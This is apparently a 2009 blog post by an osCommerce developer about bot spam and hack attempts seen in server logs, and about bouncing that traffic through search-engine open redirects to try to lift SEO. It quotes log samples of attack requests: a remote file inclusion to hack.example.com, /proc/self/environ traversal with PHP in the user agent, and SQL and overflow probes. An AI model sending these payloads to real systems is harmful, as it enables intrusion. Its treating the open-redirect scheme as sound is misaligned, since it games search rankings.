Following the traffic redirection module updates and code analysis it occurred to us to further utilize the traffic to boost the SEO of the so called victim site. If you read the description of the traffic redirection add-on for osCommerce and the I-Metrics you are already aware of its potential.

Combined with other information published over the web, a site owner could also redirect unwanted and spammy requests towards open redirectors of popular search engines. Despite massive reports of the open holes that can be used for various malicious purposes search engines and various popular sites insist of blindly accepting parameters via the url without first confirming human presence.

This topic is posted following examination of our server logs where spam and hack attempts are on the rise having multiple objectives including compromising our server, spamming the server logs and web statistics, attempts to exploit the various osCommerce scripts, scrap the site content etc. The amount of fake traffic as shown in the logs in well over 95% of the total traffic. For those who are aware of the term "Exit Bounce Rate" it reaches a extremely high percentage due to the rogue bots and proxies available worldwide.

Countermeasures in place redirect the majority of the artificial traffic already to a blackhole or back to the originating IP. Still a number of attempts do pass through the first time and only using manual operations can these IPs detected and filtered out. A custom IPS manager we have in place shows the HTTP headers, IPs, DNS, hosts, port response, sessions handshaking and in conjunction with the server logs draw a clear picture why these are just bots and not real humans.

Why wasting all the spam traffic?

Now the question is can someone utilize all this spam traffic to benefit the site? We did run several tests at the osCommerce appllication level. Using redirection headers and custom scripts we noticed that at least 70% of the spam and hack attempts read and access the response redirection headers.

Basic script example:

  $random_domain='first.example.com';
  $check = '/redirect.php?url=http://second.example.com';
  header("HTTP/1.1 301");
  header("Location: http://" . $random_domain . $check);
  exit();

So all this basic php script does is redirects to another redirection script on a second domain. The second domain performs an action and redirects back to the original one. If a bot accesses the url under the redirection it means this kind of spam traffic can be utilized to our advantage. This is how we were able to measure a 70% success rate during the tests. As a side note several other IPs recorded in the server logs coming in with unique signatures set by us within the URI. This shows how botnets attempt to spam websites using a variety of IPs from various ISPs and hosts.

Here is an example:
111.222.111.222 - - [01/Jul/2009] "GET /index.php?signature=111222111222 HTTP/1.1" 301 5 "-" " ua "
123.123.123.123 - - [01/Jul/2009] "GET /index.php?signature=111222111222 HTTP/1.1" 301 5 "-" " ua "
As you can see the second incoming request contains the signature issued to ip 111.222.111.222. The real log information is completely replaced in this example. The signature is unique enough and the second request was made within minnutes from the first request. The IPs recorded belong to different ISPs and came from different countries.

There are good reasons the spammers have to read and access the headers. For RFI (Remote File Injection) and MySQL injection attempts the server response is vital to them as they can see the results of their attempt. Same goes for the comment spam they wiil access the url based on the server response to check whether a comment went through.

Other types of traffic that performs referrer spam or User Agent spam do not always read the response. Same goes for DoS type of attacks.

Now checking the various open redirects major search engines do not properly utilize we could force the spammer to access an intermediate site (the search engine) before returning back to the original site. If the search engines facilitate an open redirect mechanism they may also use it for ranking of a site as they will count the number of hits towards a page within the domain.

What are the results of this redirection?

It is hard to tell as the internals of search engines are pretty much like of every other site, custom and unavailable for public access. We can only guess and hope that perhaps by reversing the effects of the spam traffi,c we can boost our own site's SEO and limit the spammy use of the HTTP headers.

For those totally unaware of what is going on, if you own a domain and have a site just examine the server logs your host keeps. Here are distinct examples from our latest log to better demonstrate the issue:

Favorite Icon Referrer Spam
123.201.10.nnn - - [29/Jul/2009] "GET /favicon.ico HTTP/1.1" 301 5 "http://spam.example.com?showComment=123" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12"

RFI Hack Attempt
87.118.117.nnn - - [29/Jul/2009] "GET /ecommerce-consultation.asp//ecommerce/payment/errors.php?error=http://hack.example.com/roxa/id1.txt??? HTTP/1.1" 301 5 "-" "Mozilla/5.0"

Path Disclosure via error attempt on the osCommerce scripts
83.64.250.nnn - - [01/Jul/2009] "GET /oscommerce-vulnerabilities-10-08.asp/product_info.php?products_id=' HTTP/1.1" 301 5 "-" "libwww-perl/5.825"

Server probing attempt via php script and UA exploit
74.92.83.nnn - - [02/Jul/2009] "GET /css-image-list-popups.asp//administrator/popups/modulewindow.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 301 5 "-" "XXX<? echo \"w0000t\"; ?>XXX"
Notice the php tags checkup on the User agent field.

HTTP Head requests probe before a DoS
209.59.163.nn - - [20/Feb/2009] "HEAD / HTTP/1.1" 405 0 "-" "GT::WWW/1.026"
77.179.239.nnn - - [20/Feb/2009] "HEAD /anti-bot-verification.asp HTTP/1.1" 405 0 "-" "Jakarta Commons-HttpClient/3.1"

Buffer Overflow on the server level
208.238.205.nnn - - [23/Feb/2009] "SEARCH /\x90\x04H\x04H\x04H\x04H\x04H....repeated for several Kbytes" --- --- "-" "-"

POST method probe for the server internals
208.238.205.nnn - - [23/Feb/2009] "POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1" 301 5 "-" "-"

Indirect URL poisoning via redirect or link exposure using googlebot
66.249.71.nnn - - [27/Jul/2009] "GET /product-filters.asp?referer=www.example.com HTTP/1.1" 200 47310 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

Web page Scrap Attempt using the Google translation service
74.125.16.nnn - - [23/May/2009] "GET /anti-bot-verification.asp HTTP/1.1" 301 5 "http://translate.google.co.il/translate_p?hl=iw&sl=en&u=http://www.asymmetrics.com/anti-bot-verification.asp&prev=/search%3Fq%3DAnti-bot%2Bverification%26hl%3Diw%26sa%3DG&usg=ALkJrhjGeJdYbBxml-pT4VtreBzhGTh6Rg" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.65 Safari/525.19,gzip(gfe) (via translate.google.com)"
Anything that fails rdns is blocked on this domain but if they really wanted to translate would they had only english installed as the browser language?

The attempts are numerous cannot be really traced as the attacker uses proxies, spiders and other popular services. We also listing one record of each attack type here. The domains were replaced with example.com. Parts of the IPs are masked because they can represent compromised systems where their owners are totally unaware of what is happening.

It is also worth to note as more and more countermeasures were placed on our domain, the number of attempts was significantly reduced. Just at the header level the majority of bots can be blocked and redirected if needed.